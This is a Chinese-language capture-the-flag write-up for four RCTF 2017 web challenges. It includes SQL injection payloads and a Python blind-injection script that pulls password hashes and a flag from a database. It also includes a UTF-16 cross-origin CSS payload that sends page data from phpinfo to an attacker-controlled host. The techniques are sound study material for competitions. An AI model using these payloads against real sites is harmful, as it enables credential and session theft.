RCTF2017 Some Webs Writeup

RCTF2017 Login Rblog Rcdn Noxss Writeup


Login

首先简单的fuzz下,发现只有登陆的地方可以注入,但是长度有要求是36位或以内,不过有显错
那我就先注册一个比较短的用户来测试。(username:x password:x)
用户名那里好像没有什么过滤(但是后来用like时候一加%就gg了)
简单构造下

1
username=x'union+select*from+x#&password=x&_xsrf=......

通过burp打,显错出数据库名rctf2017,没什么卵用
表为users
用order by测出取出数据为3列,再通过类似

1
username=x'union+select+id+from+users#&password=x

这样的猜测出了有id,username,password三个字段
一开始以为取出的是这三列,其实不是
通过以下脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#!/usr/bin/env python
# -*- coding:utf-8 -*-
import requests
import hashlib
s = requests.session()
# ll = "}{_0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
ll = "0123456789abcdef"
url = "http://login.2017.teamrois.cn/login"
database = ""
r = s.get(url = url)
csrf = r.text[1813:1867]
print csrf
def get_password():
result = ""
for j in range(1,99):
for i in range(0,len(ll)):
print ll[i]
sql = "x'&&substr(password,"+str(j)+",1)='"+ll[i]+"'#"
print sql
data = {"username":sql,"password":"x","_xsrf":csrf}
rr = s.post(url,data=data)
if "Flag" in rr.text:
result = result + ll[i]
print ll[i]
print result
break

打出了自己的密码,是长度为64位的hash,拿去查一下,是256位的hash,解出来是xT9vuA
第一位和密码明文相同,猜测是加了salt
重新注册一个username=p&password=p
跑密码解出来是piLrsO
猜测正确,那么users表里至少有个字段是来存储salt的,但是没有salt或salts字段
把上面sql改成

1
sql = "x'||id=1&&substr(password,"+str(j)+",1)='"+ll[i]

跑出来id=1的password,得到了一个hint

1
hint:flag_is_in_this_table_and_its_column_is_qthd2glz_but_not_the_

后面跑炸了,直接跳过,反正关键字段信息得到了
直接把上面sql改成

1
sql = "x'||id=1&&substr(qthd2glz,"+str(j)+",1)='"+ll[i]

的话,跑出来

1
RCTF{s1mpl3_m_err0r_ba3ed_i}

很开心的去交flag,结果错了。。
和以前遇到的问题差不多,是大小写不敏感的问题
那么通过hex来一位读
然后跑出来个假flag。。
RCTF{this_is_erpOZr_B38u
逼的我一位位通过hex来判断,最后
flag:RCTF{S1mpl3_M_Err0r_Ba3eD_I}

Rblog

算是这里面最简单的web了
下载django源码,发现存在/static/atom.xml

访问下发现可以订阅rss
根据提示是在ctf开赛前删除了blog
前段时间LoRexxar学长发布了一篇writeup,然后删除了,发现rss订阅过的人仍然看的到
通过feedly来订阅
不是订阅https://blog.cal1.cn//static/atom.xml
而是https://blog.cal1.cn/feed
查看

Rcdn

中途做题一定要全部浏览一遍题。。一开始做了假题
连/support/ticket/new都没找到
随便拿个创建的子域名来测试,返回

根据

然后将子域弄为12345发现可以创建,但是我并没有12345的子域名

应该是要满足长度为3-6并且要自己存在的子域名,但是测试半天发现创建子域名是不可控的
然后学长发现了这篇文章

先跑出一个满足条件的8位子域名

发现nf和sm都有,构造

查看

Noxss

给了一大堆提示

There is no XSS or SQLi. Flag is in http-only cookie. The /phpinfo.php may be helpful.
Trick the browser to leak information. Admin is using latest stable Chrome.
You can check this to find out what’s new in php5.6: http://php.net/manual/en/ini.core.php .
The HTML filter is whitelist-only mode. If a tag or an attribute is not on the whitelist, it will be wiped out. Maybe you should investigate why I choose php5.5 instead of php5.6, for php5.5 is neither in apt-get source nor on docker official images.
php5.5 is used for a reason (instead of higher version)

结合起来搜到了Cross-Origin CSS Attacks Revisited (feat. UTF-16)
由于是白名单,测试许久后发现和题目一样noxss不能使用javascript脚本
发现link可用,根据文章的poc修改
因为css有background:url
构造

1
,{}*{background:url(http://yourip?

如果其中{}丢失会失败
payload为

1
<link rel="stylesheet" charset="utf-16" href="http://noxss.2017.teamrois.cn/phpinfo.php?a=%00,%00{%00}%00*%00{%00b%00a%00c%00k%00g%00r%00o%00u%00n%00d%00:%00u%00r%00l%00(%00h%00t%00t%00p%00:%00/%00/%00y%00o%00u%00r%00.%00i%00p%00?%00" >

打到了一堆

然后解码。。
首先要用decodeURIComponent()解码,坑了好久。

文章目录
  1. 1. Login
  2. 2. Rblog
  3. 3. Rcdn
  4. 4. Noxss